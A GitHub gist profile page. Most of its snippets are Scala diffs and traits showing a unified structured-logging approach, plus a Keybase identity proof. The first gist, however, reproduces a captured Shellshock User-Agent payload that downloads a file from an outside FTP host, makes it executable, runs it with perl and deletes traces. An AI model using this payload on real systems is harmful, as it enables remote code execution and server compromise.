Skip to content

Instantly share code, notes, and snippets.

View jschwietert's full-sized avatar

Jonathan Schwietert jschwietert

View GitHub Profile
@jschwietert
jschwietert / User-Agent
Last active August 10, 2016 19:52
A nice little User-Agent header script I found...
() { :;};
/bin/bash -c \x22mkdir /var/.udp;
wget ftp://ftp.ugotownedz.org/Xorg -O /var/.udp/Xorg;
wget ftp://ftp.ugotownedz.org/Xorg -O /var/.udp/Xorg;
curl -o /var/.udp/Xorg ftp://ftp.ugotownedz.org/Xorg;GET ftp://ftp.ugotownedz.org/Xorg;fetch ftp://ftp.ugotownedz.org/Xorg;
lwp-download ftp://ftp.ugotownedz.org/Xorg;
chmod +x /var/.udp/Xorg;
chmod +x Xorg;
perl /var/.udp/Xorg;
rm -rf /var/.udp/Xorg*;

Keybase proof

I hereby claim:

  • I am jschwietert on github.
  • I am jschwietert (https://keybase.io/jschwietert) on keybase.
  • I have a public key whose fingerprint is C672 94E9 5F0E 5605 FEF6 B432 9F5A D98B FF4A 4B14

To claim this, I am signing this object:

@jschwietert
jschwietert / scala_unified_logging-formatting_errors.scala.diff
Last active July 19, 2017 18:41
Avoiding typos with VictorOps unified logging & log variables.
- log.info(s”escalation [resultSummary: $resultSummary” )
// prints: escalation [resultSummary: ResultSummary(…)
+ log.info(“escalation”, “resultSummary” -> resultSummary)
// prints: escalation :: [resultSummary=ResultSummary(…)]
@jschwietert
jschwietert / scala_unified_logging-log_format.scala.diff
Last active July 19, 2017 18:42
Formatting exception strings with VictorOps unified logging and class-level log variables.
- .getOrElse(Future.failed(s”Unable to locate webhook [org=$orgSlug] [incidentId=$incidentId] [policy=$policySlug]”))
// prints: Unable to locate webhook [org=victorops] [incidentId=1234] [policy=yolo]
+ .getOrElse(Future.failed(log.format(“Unable to locate webhook”)))
// prints: Unable to locate webhook :: [org=victorops] [incidentId=1234] [policy=yolo]
@jschwietert
jschwietert / scala_unified_logging-utility_log_bad.log
Last active July 19, 2017 18:45
Utility logging without VictorOps unified logging.
Jun 21 17:43:49 server1.pr.victorops.com WARN victorops.common.util.PhoneFormat$ - Invalid phone number: ‘555-55-555’
@jschwietert
jschwietert / scala_unified_logging-utility_log_better.log
Created July 19, 2017 18:47
Utility logging with VictorOps unified logging and context from caller.
Jun 21 17:43:49 server1.pr.victorops.com WARN victorops.controllers.api.UserController$ – Invalid phone number: ‘555-55-555’ :: [org=victorops] [user=jonathan]
@jschwietert
jschwietert / scala_unified_logging-before_after_improvements.scala.diff
Created July 19, 2017 18:49
Reuse, codified formatting, and maintainability improvements with VictorOps unified logging.
+ override def classLogVariables: LogVariables = Seq(“org” -> orgSlug, “incidentId” -> incidentId, “policy” -> policySlug)
+
override def preStart(): Unit = {
- log.info(s”Starting EscalationPolicyActor [org=$orgSlug] [incidentId=$incidentId] [policy=$policySlug]”)
+ log.info(“Starting EscalationPolicyActor”)
super.preStart()
}
override def postStop(): Unit = {
- log.info(s”Stopping EscalationPolicyActor [org=$orgSlug] [incidentId=$incidentId] [policy=$policySlug]”)
@jschwietert
jschwietert / scala_unified_logging-log_variables.scala
Created July 20, 2017 18:38
Log variable usage with VictorOps unified logging.
type LogVariable = (String, Any)
def info(msg: => String, variables: LogVariable*): Unit
@jschwietert
jschwietert / scala_unified_logging-implicit_logger.scala
Created July 20, 2017 18:42
Implicit logger usage with VictorOps unified logging.
def format(phoneNumber: String)(implicit log: Logger)
@jschwietert
jschwietert / scala_unified_logging-logging.scala
Created July 20, 2017 18:50
Logging trait in VictorOps unified logging.
trait Logging {
def classLogVariables: LogVariables = Nil
implicit lazy protected[logging] val log = Logger.ClassLogger(this.getClass, classLogVariables)
}
trait ActorLogging extends Logging {
this: akka.actor.Actor =>
implicit override lazy protected[logging] val log = Logger.ActorLogger(this, classLogVariables)
}